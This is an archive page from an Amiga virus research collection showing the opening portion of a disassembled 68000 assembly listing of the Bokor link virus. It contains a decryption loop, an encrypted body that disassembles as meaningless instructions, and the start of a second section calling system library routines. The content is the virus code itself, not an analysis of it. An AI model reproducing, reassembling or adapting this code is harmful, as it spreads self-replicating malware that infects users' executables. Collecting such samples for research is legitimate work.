home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
amiga_virus_collection_research.7z
/
VIRUSRESEARCH
/
BOKOR_LINKVIRUS
/
LIST_BOKOR11.ASM
< prev
next >
Wrap
Assembly Source File
|
1999-06-12
|
74KB
|
2,728 lines
; IRA V1.02 (Sep 6 1993) (c)1993 Tim Ruehsen
ABSEXECBASE EQU $4
EXT_0001 EQU $242C
EXT_0002 EQU $44F8
EXT_0003 EQU $4EDE
EXT_0004 EQU $67277726
SECTION S_0,CODE
SECSTRT_0:
MOVEM.L D0-D6/A0-A6,-(A7) ;0000: 48E7FEFE
TST.L D1 ;0004: 4A81
CMP.L D0,D1 ;0006: B280
MOVE #$0198,D1 ;0008: 323C0198
DC.W $43FA ;000C
ADDI.L #$4A814A82,-(A2) ;000E: 06A24A814A82
CMPA.L D0,A3 ;0014: B7C0
MOVEQ #0,D4 ;0016: 7800
LEA LAB_0001(PC),A6 ;0018: 4DFA0022
MOVE.L -120(A1),D2 ;001C: 2429FF88
LAB_0000:
EOR.L D2,(A6)+ ;0020: B59E
MOVEQ #0,D0 ;0022: 7000
TST.L D1 ;0024: 4A81
TST.L D2 ;0026: 4A82
DBF D1,LAB_0000 ;0028: 51C9FFF6
MOVEA.L (ABSEXECBASE).W,A6 ;002C: 2C780004
MOVEA.L A6,A0 ;0030: 204E
JSR -636(A0) ;0032: 4EA8FD84
TST.L D0 ;0036: 4A80
TST.L D1 ;0038: 4A81
CMP.L D0,D1 ;003A: B280
LAB_0001:
SUBQ.B #2,30759(A4) ;003C: 552C7827
DC.W $3FE5 ;0040
MOVEQ #39,D0 ;0042: 7027
SUBQ.B #2,19110(A4) ;0044: 552C4AA6
DC.W $3FE6 ;0048
CMP.L -(A7),D1 ;004A: B2A7
SUBQ.B #2,19110(A4) ;004C: 552C4AA6
MULS -(A4),D3 ;0050: C7E4
TST.L -(A6) ;0052: 4AA6
MULS -(A4),D3 ;0054: C7E4
TST.L -(A7) ;0056: 4AA7
BCHG D2,-(A4) ;0058: 0564
TST.L -(A6) ;005A: 4AA6
DC.W $3FE6 ;005C
MOVEQ #39,D4 ;005E: 7827
MULS -(A4),D3 ;0060: C7E4
TST.L -(A6) ;0062: 4AA6
DC.W $3FE6 ;0064
CMP.L -(A7),D1 ;0066: B2A7
BCHG D2,-(A4) ;0068: 0564
TST.L -(A6) ;006A: 4AA6
BCHG D2,-(A4) ;006C: 0564
MOVEA.L (A7)+,A6 ;006E: 2C5F
DC.W $7560 ;0070
DC.W $41DD ;0072
DC.W $77F4 ;0074
DC.W $B5B7 ;0076
MOVE (A6)+,(A6) ;0078: 3C9E
MOVEP D2,13982(A5) ;007A: 058D369E
DC.W $05BD ;007E
DC.W $3BCA ;0080
DC.W $FDFF ;0082
SLT -(A4) ;0084: 5DE4
DC.W $67D3 ;0086
MOVE (A6)+,(A2) ;0088: 349E
DC.W $02FF ;008A
MOVE (A6)+,(A3) ;008C: 369E
BCLR D2,(A5) ;008E: 0595
SCS 20105(A5) ;0090: 55ED4E89
DIVU -(A0),D4 ;0094: 88E0
MOVE.L (A3)+,D0 ;0096: 201B
DC.W $7564 ;0098
SUBQ.L #7,D7 ;009A: 5F87
BCHG D3,-(A4) ;009C: 0764
DC.W $4E89 ;009E
OR (A6)+,D5 ;00A0: 8A5E
MOVE.L -(A7),30048(A4) ;00A2: 29677560
DC.W $67DD ;00A6
DC.W $5F30 ;00A8
DC.W $4BCA ;00AA
DC.W $8A0E ;00AC
DC.W $43DD ;00AE
MOVEQ #80,D0 ;00B0: 7050
MOVE.L A2,30054(A1) ;00B2: 234A7566
DC.W $0025 ;00B6
DC.W $5709 ;00B8
DC.W $0025 ;00BA
DC.W $790D ;00BC
EXT.L D0 ;00BE: 48C0
DC.W $7574 ;00C0
DC.W $6727 ;00C2
DC.W $7752 ;00C4
MOVE.L -(A7),30054(A5) ;00C6: 2B677566
DC.W $068A ;00CA
DC.W $7564 ;00CC
BTST D1,(A7) ;00CE: 0317
DC.W $7566 ;00D0
MOVEA.L (A3)+,A3 ;00D2: 265B
DC.W $75BB ;00D4
DC.W $F020 ;00D6
DC.W $6F77 ;00D8
MOVEQ #39,D4 ;00DA: 7827
DC.W $6D4F ;00DC
DC.W $FFD8 ;00DE
DC.W $7720 ;00E0
DC.W $00D9 ;00E2
DC.W $77E1 ;00E4
DC.W $0027 ;00E6
DC.W $756B ;00E8
MOVE -(A2),30078(A4) ;00EA: 3962757E
LSL D2,D2 ;00EE: E56A
DC.W $AEC9 ;00F0
DC.W $0025 ;00F2
SUBQ.B #3,-(A4) ;00F4: 5724
MOVE.L (A3)+,(A1)+ ;00F6: 22DB
DC.W $7564 ;00F8
MOVEP.L D1,22488(A6) ;00FA: 03CE57D8
DC.W $0027 ;00FE
MOVEQ #-12,D2 ;0100: 74F4
LSR D1,D2 ;0102: E26A
DC.W $AEFD ;0104
MOVEQ #39,D7 ;0106: 7E27
MOVE (A6)+,(A0) ;0108: 309E
BSET D0,(A1)+ ;010A: 01D9
MOVE (A6)+,(A2) ;010C: 349E
BCHG D2,-(A5) ;010E: 0565
DC.W $27CC ;0110
DC.W $0037 ;0112
DC.W $57BE ;0114
MOVEP D5,-30054(A6) ;0116: 0B8E8A9A
DC.W $6127 ;011A
DC.W $7774 ;011C
MOVE -(A0),D6 ;011E: 3C20
DC.W $A922 ;0120
SUB -(A3),D6 ;0122: 9C63
SUB.B -25502(A1),D3 ;0124: 96299C62
SUB.B D3,13858(A1) ;0128: 97293622
SUB.B D0,13348(A7) ;012C: 912F3424
DC.W $7DE6 ;0130
DC.W $0026 ;0132
DC.W $7DE7 ;0134
DC.W $0027 ;0136
DC.W $A327 ;0138
ADD -(A5),D2 ;013A: D465
DC.W $943F ;013C
ROL D0,D5 ;013E: E17D
BTST D3,(A3)+ ;0140: 071B
DC.W $B234 ;0142
DC.W $1E72 ;0144
DC.W $22FD ;0146
LSR.B #8,D5 ;0148: E00D
DC.W $FFDB ;014A
LSR.B #4,D5 ;014C: E80D
DC.W $FFD9 ;014E
DC.W $57BE ;0150
SUBX -(A6),-(A3) ;0152: 974E
OR.L (A0)+,D5 ;0154: 8A98
ADDX -(A6),-(A5) ;0156: DB4E
OR.L (A2)+,D5 ;0158: 8A9A
DC.W $603B ;015A
SUBQ.L #3,A6 ;015C: 578E
DC.W $0023 ;015E
DC.W $AE0D ;0160
DC.W $FFD9 ;0162
LSR.B #1,D5 ;0164: E20D
DC.W $FFDB ;0166
DC.W $57B6 ;0168
SUBX -(A6),-(A2) ;016A: 954E
OR.L (A0)+,D5 ;016C: 8A98
SUBQ #4,A6 ;016E: 594E
OR.L (A2)+,D5 ;0170: 8A9A
SUBX -(A6),-(A6) ;0172: 9D4E
OR.L (A2)+,D5 ;0174: 8A9A
ADDQ #8,5220(A5) ;0176: 506D1464
BCLR D0,(A5) ;017A: 0195
DC.W $4963 ;017C
ADD -(A1),D6 ;017E: DC61
LSR.B #4,D6 ;0180: E80E
DC.W $0025 ;0182
SUBQ #8,-(A1) ;0184: 5161
LSR D2,D5 ;0186: E46D
DC.W $7DE6 ;0188
DC.W $0026 ;018A
BTST D3,(A3)+ ;018C: 071B
DC.W $B234 ;018E
DC.W $1E6A ;0190
DC.W $22FD ;0192
DC.W $57BE ;0194
SUBX -(A6),-(A4) ;0196: 994E
OR.L (A2)+,D5 ;0198: 8A9A
SUBX -(A6),-(A2) ;019A: 954E
OR.L (A0)+,D5 ;019C: 8A98
DC.W $6033 ;019E
SUBQ.L #3,A6 ;01A0: 578E
DC.W $0023 ;01A2
LSR.B #6,D5 ;01A4: EC0D
DC.W $FFD9 ;01A6
LSR.B #8,D5 ;01A8: E00D
DC.W $FFDB ;01AA
DC.W $57B6 ;01AC
SUBQ #4,A6 ;01AE: 594E
OR.L (A2)+,D5 ;01B0: 8A9A
ADDQ #8,-22514(A5) ;01B2: 506DA80E
DC.W $FFDD ;01B6
DC.W $497E ;01B8
DC.W $9234 ;01BA
DC.W $1E76 ;01BC
MOVE (A3)+,D6 ;01BE: 3C1B
DC.W $C0FA ;01C0
MOVEQ #100,D4 ;01C2: 7864
MOVEQ #119,D7 ;01C4: 7E77
DC.W $6627 ;01C6
DC.W $756C ;01C8
MOVE (A3)+,D6 ;01CA: 3C1B
DC.W $E0FA ;01CC
MOVEQ #98,D4 ;01CE: 7862
CHK -(A2),D3 ;01D0: 47A2
MOVE -(A0),D6 ;01D2: 3C20
DC.W $1464 ;01D4
DC.W $0171 ;01D6
ASL.B D4,D3 ;01D8: E923
ADD -(A1),D6 ;01DA: DC61
DC.W $57BE ;01DC
MOVE.L -(A2),D3 ;01DE: 2622
SUB.B D0,2212(A7) ;01E0: 912F08A4
DC.W $7564 ;01E4
SUBX -(A6),-(A3) ;01E6: 974E
OR.L (A0)+,D5 ;01E8: 8A98
ADDX -(A6),-(A6) ;01EA: DD4E
OR.L (A2)+,D5 ;01EC: 8A9A
DC.W $22FD ;01EE
DC.W $47BE ;01F0
MOVE -(A2),D3 ;01F2: 3622
SUB.B D0,-18853(A7) ;01F4: 912FB65B
DC.W $7563 ;01F8
DC.W $6625 ;01FA
MOVE.L -(A7),D3 ;01FC: 2627
MOVE -(A4),D6 ;01FE: 3C24
DC.W $943F ;0200
ADD -(A4),D3 ;0202: D664
LSR.B #1,D5 ;0204: E20D
DC.W $FFD9 ;0206
DC.W $1464 ;0208
BTST D0,D5 ;020A: 0105
DC.W $57BE ;020C
SUBX -(A6),-(A6) ;020E: 9D4E
OR.L (A0)+,D5 ;0210: 8A98
MOVEQ #44,D6 ;0212: 7C2C
DC.W $A921 ;0214
SUB -(A0),D6 ;0216: 9C60
DC.W $1E74 ;0218
DC.W $1234 ;021A
SUB D3,(A5)+ ;021C: 975D
ANDI #$7563,-(A6) ;021E: 02667563
MOVE (A7),(A1)+ ;0222: 32D7
BEQ.S LAB_0002 ;0224: 6764
SF -30058(A1) ;0226: 51E98A96
MOVE (A3)+,D1 ;022A: 321B
MOVEQ #-30,D2 ;022C: 74E2
DC.W $41DD ;022E
OR D5,(A0)+ ;0230: 8B58
DC.W $22FF ;0232
DC.W $24AD ;0234
DC.W $FFDB ;0236
MOVE (A5),-(A5) ;0238: 3B15
MOVEA.L -(A7),A0 ;023A: 2067
SUB.B -12062(A1),D3 ;023C: 9629D0E2
NEG.B (A0)+ ;0240: 4418
LINK A6,#30580 ;0242: 4E567774
MOVE (A3)+,D1 ;0246: 321B
DC.W $E0F4 ;0248
CMP (A3)+,D4 ;024A: B85B
DC.W $7527 ;024C
DC.W $6623 ;024E
DC.W $4758 ;0250
DC.W $B5B7 ;0252
AND.B D6,(A0)+ ;0254: CD18
ORI #$1360,-(A2) ;0256: 00621360
MOVE (A3)+,D1 ;025A: 321B
DC.W $A0F4 ;025C
MOVE -(A6),29994(A0) ;025E: 3166752A
MOVEQ #39,D1 ;0262: 7227
DC.W $6777 ;0264
SUBI #$7570,-(A6) ;0266: 04667570
DC.W $6A09 ;026A
NEG.B (A0)+ ;026C: 4418
LINK A6,#29994 ;026E: 4E56752A
SUBA -(A2),A0 ;0272: 90E2
DC.W $57BC ;0274
DC.W $22FF ;0276
SUBQ.L #3,(A0)+ ;0278: 5798
EXT.L D0 ;027A: 48C0
OR.L D5,(A2)+ ;027C: 8B9A
DC.W $58AF ;027E
DC.W $097F ;0280
DC.W $45DD ;0282
MOVEQ #-88,D3 ;0284: 76A8
DC.W $1234 ;0286
DC.W $7725 ;0288
LAB_0002:
DC.W $0020 ;028A
CHK (A6),D3 ;028C: 4796
MOVE.B -(A7),D1 ;028E: 1227
DC.W $21EC ;0290
SF -30058(A1) ;0292: 51E98A96
MOVEQ #102,D4 ;0296: 7866
MOVE.B -28446(A6),1908(A2) ;0298: 156E90E20774
DC.W $22FF ;029E
DC.W $24AD ;02A0
DC.W $FFDB ;02A2
DC.W $4758 ;02A4
BCLR D0,-(A7) ;02A6: 01A7
SUBQ #4,-(A1) ;02A8: 5961
LSR D2,D1 ;02AA: E469
DC.W $A7E2 ;02AC
MOVE.L A3,D6 ;02AE: 2C0B
DC.W $7570 ;02B0
ADD.L 15650(A6),D6 ;02B2: DCAE3D22
DC.W $22BF ;02B6
AND.B D6,(A0)+ ;02B8: CD18
ORI #$1360,-(A2) ;02BA: 00621360
DC.W $DDBE ;02BE
MOVE.B 91(A0,A3.L),29989(A2) ;02C0: 1570B85B7525
DC.W $672B ;02C6
AND.B D6,(A0)+ ;02C8: CD18
ORI #$1360,-(A4) ;02CA: 00641360
DC.W $BDBE ;02CE
MOVE.B -(A0),-25162(A2) ;02D0: 15609DB6
MOVE.L 20974(A5),-(A6) ;02D4: 2D2D51EE
DC.W $8ABA ;02D8
MOVE.L -(A1),-30036(A1) ;02DA: 23618AAC
ADDA.L -(A2),A1 ;02DE: D3E2
DC.W $4F18 ;02E0
DC.W $03CB ;02E2
SUBQ.L #3,28710(A1) ;02E4: 57A97026
SUBQ.L #3,-(A4) ;02E8: 57A4
MOVE.L -(A7),(A1)+ ;02EA: 22E7
SEQ (A0)+ ;02EC: 57D8
DC.W $0027 ;02EE
DC.W $77B0 ;02F0
DC.W $DBBE ;02F2
DC.W $37FD ;02F4
DC.W $5C6A ;02F6
DC.W $57A9 ;02F8
DC.W $428B ;02FA
DC.W $7570 ;02FC
MOVEM.L (EXT_0003).W,D0-D1/D3-D4/A1/A3 ;02FE: 4CF80A1B4EDE
DC.L SECSTRT_1 ;0304: 000006A0
DC.W $3D83 ;0308
DC.W $FFD9 ;030A
MOVE (A6)+,(A7) ;030C: 3E9E
BSET D2,D5 ;030E: 05C5
DC.W $4B58 ;0310
BCLR D0,-(A7) ;0312: 01A7
MOVE (A6)+,(A4) ;0314: 389E
DC.W $0009 ;0316
SUBQ #8,A1 ;0318: 5149
DC.W $0007 ;031A
DC.W $A0FA ;031C
SF -30056(A0) ;031E: 51E88A98
MOVEA.L (A7)+,A6 ;0322: 2C5F
DC.W $7560 ;0324
MOVEA.L 15306(A1),A6 ;0326: 2C693BCA
DC.W $FDA3 ;032A
BCHG D1,-(A4) ;032C: 0364
MOVEQ #39,D2 ;032E: 7427
DC.W $6177 ;0330
DC.W $D434 ;0332
DC.W $99EE ;0334
TST -(A5) ;0336: 4A65
DC.W $127E ;0338
CMP (A3)+,D7 ;033A: BE5B
DC.W $7568 ;033C
DC.W $6733 ;033E
DC.W $6377 ;0340
DC.W $D60C ;0342
OR.L (A3)+,D5 ;0344: 8A9B
ANDI #$7563,-(A4) ;0346: 02647563
MOVE (A7),(A1)+ ;034A: 32D7
DC.W $4764 ;034C
ADDQ #1,-(A0) ;034E: 5260
DC.W $24AE ;0350
DC.W $FFCF ;0352
MOVE (A1),-(A5) ;0354: 3B11
LINK A6,#5480 ;0356: 4E561568
DC.W $537E ;035A
DC.W $2634 ;035C
DC.W $4173 ;035E
DC.W $362C ;0360
DC.W $0001 ;0362
ASR.L #3,D0 ;0364: E680
DC.W $42C0 ;0366
DC.W $3D83 ;0368
DC.W $FFD9 ;036A
MOVE (A6)+,(A6) ;036C: 3C9E
DC.W $028D ;036E
ADDQ.B #6,-(A5) ;0370: 5C25
DC.W $0037 ;0372
SUBQ.B #2,-(A5) ;0374: 5525
MOVEQ #36,D1 ;0376: 7224
SUBA #$103F,A2 ;0378: 94FC103F
DC.W $24AD ;037C
DC.W $FFDD ;037E
DC.W $2C2C ;0380
CMP.L (A3)+,D0 ;0382: B09B
SUBQ.B #5,-(A1) ;0384: 5B21
ADDQ #4,-(A2) ;0386: 5862
DC.W $125A ;0388
CMP.L (A3)+,D0 ;038A: B09B
SUBQ.B #5,D1 ;038C: 5B01
MOVEQ #66,D4 ;038E: 7842
DC.W $1252 ;0390
MOVEQ #46,D7 ;0392: 7E2E
MOVE (A6)+,(A3) ;0394: 369E
ANDI #$C5FD,EXT_0004 ;0396: 0279C5FD67277726
SF -30052(A0) ;039E: 51E88A9C
DC.W $4A3F ;03A2
DC.W $13B4 ;03A4
SUBQ #2,31092(A7) ;03A6: 556F7974
ORI #$1E64,-(A7) ;03AA: 00671E64
DC.W $0217 ;03AE
DC.W $5508 ;03B0
DC.W $0037 ;03B2
DC.W $7974 ;03B4
DC.W $0009 ;03B6
DC.W $1264 ;03B8
DC.W $0203 ;03BA
DC.W $7974 ;03BC
DC.W $0007 ;03BE
MOVE.B -(A6),16951(A1) ;03C0: 13664237
MOVE #$66CB,14308(A7) ;03C4: 3F7C66CB37E4
MOVEA.L 22812(A3),A1 ;03CA: 226B591C
DC.W $0023 ;03CE
DC.W $3BCA ;03D0
DC.W $FDFF ;03D2
ADDQ.B #6,-(A4) ;03D4: 5C24
DC.W $002B ;03D6
SUBQ.B #4,-(A4) ;03D8: 5924
MOVE.L A3,D1 ;03DA: 220B
DC.W $7574 ;03DC
MOVEQ #-39,D2 ;03DE: 74D9
DC.W $3BCA ;03E0
DC.W $FF8B ;03E2
SUBQ #3,-(A4) ;03E4: 5764
DC.W $6727 ;03E6
MOVEQ #-110,D2 ;03E8: 7492
MOVE.L -(A7),D7 ;03EA: 2E27
MOVE (A6)+,(A7) ;03EC: 3E9E
ANDI #$5169,(A5) ;03EE: 02555169
DC.W $4E89 ;03F2
DIVU 14858(A2),D5 ;03F4: 8AEA3A0A
DC.W $756E ;03F8
MOVE.L -(A0),D1 ;03FA: 2220
DC.W $73E6 ;03FC
DC.W $0027 ;03FE
BNE.S LAB_0003 ;0400: 6644
MOVE.L -(A5),D6 ;0402: 2C25
DC.W $3BCA ;0404
DC.W $FFBD ;0406
SUBQ #6,-(A4) ;0408: 5D64
MOVEA.L -(A1),A2 ;040A: 2461
SUBQ #3,A6 ;040C: 574E
ORI #$C7D8,(A3)+ ;040E: 005BC7D8
DC.W $0024 ;0412
SUB D6,-(A4) ;0414: 9D64
DC.W $6A27 ;0416
MOVEQ #-94,D2 ;0418: 74A2
CMP.L (A3)+,D1 ;041A: B29B
DC.W $7564 ;041C
BCHG D2,(A7)+ ;041E: 055F
DC.W $1E64 ;0420
BCLR D0,(A3)+ ;0422: 019B
ADDQ.B #6,-(A5) ;0424: 5C25
DC.W $003F ;0426
SUBQ #3,-(A3) ;0428: 5763
DC.W $4E89 ;042A
DIVU D2,D5 ;042C: 8AC2
TST.L -(A3) ;042E: 4AA3
DC.W $1264 ;0430
MOVEP D0,-12520(A3) ;0432: 018BCF18
DC.W $0077 ;0436
DC.W $1264 ;0438
BCLR D0,D3 ;043A: 0183
SUBQ #3,A0 ;043C: 5748
DC.W $0037 ;043E
SUBQ #8,(A0)+ ;0440: 5158
DC.W $0027 ;0442
MOVEQ #-119,D3 ;0444: 7689
LAB_0003:
DC.W $4E89 ;0446
OR.L D6,D5 ;0448: 8A86
MOVE.L -(A6),30064(A4) ;044A: 29667570
DC.W $6727 ;044E
MOVEQ #-22,D2 ;0450: 74EA
DC.W $4BDD ;0452
DC.W $7768 ;0454
MOVE.L 834(A2),D2 ;0456: 242A0342
DC.W $4E89 ;045A
DC.W $8AB2 ;045C
DC.W $0CB2 ;045E
DC.W $7564 ;0460
BSET D1,(A4) ;0462: 03D4
MOVE.B -(A4),419(A1) ;0464: 136401A3
SUBQ #8,A1 ;0468: 5149
DC.W $0033 ;046A
DC.W $71E6 ;046C
DC.W $0027 ;046E
MOVEQ #-12,D2 ;0470: 74F4
DC.W $6B2F ;0472
DC.W $7126 ;0474
DC.W $0038 ;0476
DC.W $1E64 ;0478
BCHG D0,(A7) ;047A: 0157
SUBQ.B #8,-(A2) ;047C: 5122
MOVEA.L A5,A3 ;047E: 264D
DC.W $7510 ;0480
TST 4718(A4) ;0482: 4A6C126E
MOVEQ #39,D2 ;0486: 7427
SUBQ #3,A0 ;0488: 5748
DC.W $0037 ;048A
DC.W $3BCA ;048C
DC.W $FF61 ;048E
SUBQ #3,A0 ;0490: 5748
DC.W $0033 ;0492
BCHG D0,-(A4) ;0494: 0164
MOVEQ #-40,D3 ;0496: 76D8
DC.W $3BCA ;0498
DC.W $FF99 ;049A
SUBQ #2,A0 ;049C: 5548
DC.W $003F ;049E
DC.W $25E4 ;04A0
MOVEQ #39,D1 ;04A2: 7227
SUBQ.B #4,(A4)+ ;04A4: 591C
DC.W $0023 ;04A6
DC.W $3BCA ;04A8
DC.W $FF1D ;04AA
ADDQ.B #6,-(A4) ;04AC: 5C24
DC.W $003B ;04AE
DC.W $1264 ;04B0
BTST D0,(A7)+ ;04B2: 011F
SUBQ #8,-(A4) ;04B4: 5164
ADDQ.L #4,-(A5) ;04B6: 58A5
SUBQ #1,A0 ;04B8: 5348
DC.W $003F ;04BA
SUBQ #3,A0 ;04BC: 5748
DC.W $0033 ;04BE
DC.W $5908 ;04C0
DC.W $002B ;04C2
DC.W $3BCA ;04C4
DC.W $FFF1 ;04C6
DC.W $5508 ;04C8
DC.W $003B ;04CA
SUBQ.B #8,22639(A4) ;04CC: 512C586F
MOVE.L A4,-(A3) ;04D0: 270C
DC.W $002D ;04D2
MOVE.L A4,-(A3) ;04D4: 270C
DC.W $0035 ;04D6
SUBQ #5,A4 ;04D8: 5B4C
DC.W $002F ;04DA
BCHG D0,-(A0) ;04DC: 0160
DC.W $24FF ;04DE
DC.W $24AE ;04E0
DC.W $FFDB ;04E2
SF (A0)+ ;04E4: 51D8
DC.W $0027 ;04E6
MOVEQ #-12,D2 ;04E8: 74F4
MOVEQ #39,D1 ;04EA: 7227
DC.W $4748 ;04EC
DC.W $0001 ;04EE
DC.W $A7E5 ;04F0
DC.W $D3BD ;04F2
SUBQ #3,A0 ;04F4: 5748
DC.W $0033 ;04F6
BCHG D0,-(A4) ;04F8: 0164
MOVEQ #-40,D3 ;04FA: 76D8
DC.W $3BCA ;04FC
DC.W $FF99 ;04FE
SUBQ #1,-(A3) ;0500: 5363
ADDQ.L #5,-(A4) ;0502: 5AA4
SUB.B 10788(A7),D0 ;0504: 902F2A24
SUBQ #3,A0 ;0508: 5748
DC.W $0033 ;050A
SUBQ #8,A0 ;050C: 5148
DC.W $003B ;050E
DC.W $3BCA ;0510
DC.W $FFF7 ;0512
DC.W $5108 ;0514
DC.W $003B ;0516
DC.W $A0A1 ;0518
SUBQ #2,-(A0) ;051A: 5560
DC.W $557E ;051C
DC.W $223D ;051E
AND.B D2,(A0)+ ;0520: C518
MOVEP.L D1,4672(A4) ;0522: 03CC1240
LSL.L D2,D6 ;0526: E5AE
DC.W $A0A5 ;0528
DC.W $203D ;052A
AND.B D2,(A0)+ ;052C: C518
BSET D1,(A5) ;052E: 03D5
DC.W $1248 ;0530
CMP (A3)+,D0 ;0532: B05B
MOVEQ #-108,D3 ;0534: 7694
DC.W $673D ;0536
AND.B D2,(A0)+ ;0538: C518
MOVEP.L D1,4986(A3) ;053A: 03CB137A
DC.W $203D ;053E
DC.W $126C ;0540
DC.W $52BD ;0542
DC.W $90EC ;0544
ADDA.L -(A7),A2 ;0546: D5E7
DC.W $1590 ;0548
DC.W $0C4D ;054A
MOVEQ #-106,D3 ;054C: 7696
DC.W $0025 ;054E
DC.W $126E ;0550
DC.W $0CBD ;0552
DC.W $7564 ;0554
BSET D1,(A5) ;0556: 03D5
MOVE.B (A4)+,37(A1,D6.W) ;0558: 139C6025
MOVE.L 20968(A6),-(A6) ;055C: 2D2E51E8
DIVU (A0)+,D5 ;0560: 8AD8
MOVE.L A3,D1 ;0562: 220B
DC.W $7570 ;0564
DC.W $45DD ;0566
MOVEQ #68,D2 ;0568: 7444
MOVEQ #39,D4 ;056A: 7827
DC.W $4D48 ;056C
DC.W $0001 ;056E
SUB.B -10781(A0),D0 ;0570: 9028D5E3
DC.W $37CE ;0574
DC.W $02FB ;0576
ASR.L D0,D0 ;0578: E0A0
MOVE.L 17240(A5),D2 ;057A: 242D4358
ADDI #$ADE0,D7 ;057E: 0647ADE0
ADD.L -(A3),D3 ;0582: D6A3
DC.W $3BCA ;0584
DC.W $FFF7 ;0586
SUBQ #1,A0 ;0588: 5348
DC.W $003F ;058A
DC.W $2DE7 ;058C
SUB.L -(A2),D3 ;058E: 96A2
SUBQ #3,A0 ;0590: 5748
DC.W $0033 ;0592
SUBQ #8,A0 ;0594: 5148
DC.W $003B ;0596
DC.W $A1E1 ;0598
DC.W $4E89 ;059A
DC.W $8AB4 ;059C
MOVE.L A3,D1 ;059E: 220B
DC.W $7570 ;05A0
DC.W $4E89 ;05A2
OR.L (EXT_0001).W,D5 ;05A4: 8AB8242C
DC.W $126C ;05A8
MOVE.L A3,D1 ;05AA: 220B
DC.W $7574 ;05AC
DC.W $4E89 ;05AE
OR.B -(A2),D5 ;05B0: 8A22
MOVE.L A3,D1 ;05B2: 220B
DC.W $7574 ;05B4
MOVE.L -(A1),D2 ;05B6: 2421
DC.W $7326 ;05B8
ORI.L #$3BCAFE53,-(A3) ;05BA: 00A33BCAFE53
SUBQ #2,A0 ;05C0: 5548
DC.W $003F ;05C2
DC.W $25E4 ;05C4
MOVEA.L A3,A1 ;05C6: 224B
DC.W $7578 ;05C8
MOVEA.L (A7)+,A6 ;05CA: 2C5F
DC.W $7560 ;05CC
DC.W $4E89 ;05CE
DC.W $8A4A ;05D0
MOVEA.L A3,A1 ;05D2: 224B
DC.W $7568 ;05D4
DC.W $4E89 ;05D6
SBCD D6,D5 ;05D8: 8B06
DC.W $4E89 ;05DA
DIVU -(A0),D4 ;05DC: 88E0
MOVEM.L (EXT_0002).W,D0-D1/D3-D4/D7/A1/A3 ;05DE: 4CF80A9B44F8
MOVE (A5)+,-34(A5,D0.W) ;05E4: 3B9D00DE
DC.W $AA6E ;05E8
MOVE.L A3,D1 ;05EA: 220B
DC.W $7570 ;05EC
DC.W $4E89 ;05EE
DC.W $8AB8 ;05F0
DC.W $60CD ;05F2
DC.W $1108 ;05F4
DC.W $6555 ;05F6
BTST D3,(A0) ;05F8: 0710
DC.W $7557 ;05FA
DC.W $3C36 ;05FC
DC.W $5574 ;05FE
MOVE.B D1,-(A0) ;0600: 1101
MOVEQ #84,D3 ;0602: 7654
DC.W $3128 ;0604
DC.W $4575 ;0606
MOVE D1,-(A0) ;0608: 3101
MOVEQ #84,D3 ;060A: 7654
MOVE.L A5,-(A1) ;060C: 230D
MOVEQ #82,D1 ;060E: 7252
MOVE -(A1),-(A0) ;0610: 3121
DC.W $5674 ;0612
DC.W $2730 ;0614
DC.W $5577 ;0616
DC.W $110B ;0618
DC.W $7309 ;061A
DC.W $190D ;061C
DC.W $6255 ;061E
MOVE.B (A6),D2 ;0620: 1416
DC.W $7927 ;0622
DC.W $7544 ;0624
ROR.B #6,D3 ;0626: EC1B
DC.W $7543 ;0628
DC.W $6EB7 ;062A
MOVE.L (A6),-(A0) ;062C: 2116
DC.W $7554 ;062E
BTST D0,28513(A2) ;0630: 012A6F61
DC.W $1C08 ;0634
BCS.S LAB_0004 ;0636: 6506
DC.W $7564 ;0638
DC.W $0027 ;063A
DC.W $4150 ;063C
LAB_0004:
DC.W $002B ;063E
MOVE A3,-(A4) ;0640: 390B
BLS.S LAB_0005+2 ;0642: 6346
MOVE.B D1,-(A4) ;0644: 1901
MOVEA.L 7174(A3),A0 ;0646: 206B1C06
MOVEQ #70,D1 ;064A: 7246
BTST D3,(A5)+ ;064C: 071D
DC.W $006B ;064E
MULS -(A4),D3 ;0650: C7E4
TST.L -(A5) ;0652: 4AA5
DC.W $3FE4 ;0654
CMPA.L -(A7),A3 ;0656: B7E7
BCHG D2,-(A4) ;0658: 0564
MOVEQ #39,D4 ;065A: 7827
DC.W $3FE5 ;065C
MOVEA.L 30052(A7),A0 ;065E: 206F7564
ORI.L #$370B6B48,(A3) ;0662: 0093370B6B48
BCHG D3,D4 ;0668: 0744
ADDQ.B #3,(A6) ;066A: 5616
SUBQ #5,(A5) ;066C: 5B55
MOVE.L D6,-(A0) ;066E: 2106
DC.W $001C ;0670
TST.L D0 ;0672: 4A80
DC.W $674A ;0674
MOVEA.L D0,A0 ;0676: 2040
LEA 2(A0),A1 ;0678: 43E80002
MOVE 32(A7),D1 ;067C: 322F0020
MOVEQ #0,D2 ;0680: 7400
MOVE D1,D2 ;0682: 3401
MOVE.L D2,D0 ;0684: 2002
MOVEA.L A2,A0 ;0686: 204A
LAB_0005:
JSR -624(A6) ;0688: 4EAEFD90
MOVEQ #0,D0 ;068C: 7000
MOVE 32(A7),D0 ;068E: 302F0020
MOVE.L D0,D1 ;0692: 2200
ADDQ.L #2,D1 ;0694: 5481
MOVEA.L 28(A7),A0 ;0696: 206F001C
MOVE.B D1,(A0) ;069A: 1081
MOVEQ #34,D1 ;069C: 7222
DC.W $1141 ;069E
SECTION S_1,CODE
SECSTRT_1:
LINK A5,#-608 ;06A0: 4E55FDA0
MOVEM.L D2-D7/A2-A3/A6,-(A7) ;06A4: 48E73F32
MOVEA #$0004,A0 ;06A8: 307C0004
MOVEA.L (A0),A1 ;06AC: 2250
MOVEQ #20,D7 ;06AE: 7E14
LEA LAB_005C(PC),A0 ;06B0: 41FA083A
MOVE.L A0,-572(A5) ;06B4: 2B48FDC4
CLR.L -568(A5) ;06B8: 42ADFDC8
MOVE.L A1,56(A7) ;06BC: 2F490038
MOVEA.L A1,A6 ;06C0: 2C49
LEA LAB_005D(PC),A1 ;06C2: 43FA082A
MOVEQ #36,D0 ;06C6: 7024
JSR -552(A6) ;06C8: 4EAEFDD8
MOVEA.L D0,A3 ;06CC: 2640
MOVEA.L A3,A0 ;06CE: 204B
MOVE.L A0,52(A7) ;06D0: 2F480034
MOVE.L A3,D0 ;06D4: 200B
BEQ LAB_005A ;06D6: 670007FA
MOVE.L #$000004D2,D0 ;06DA: 203C000004D2
MOVE.L #$00010001,D1 ;06E0: 223C00010001
JSR -684(A6) ;06E6: 4EAEFD54
MOVEA.L D0,A2 ;06EA: 2440
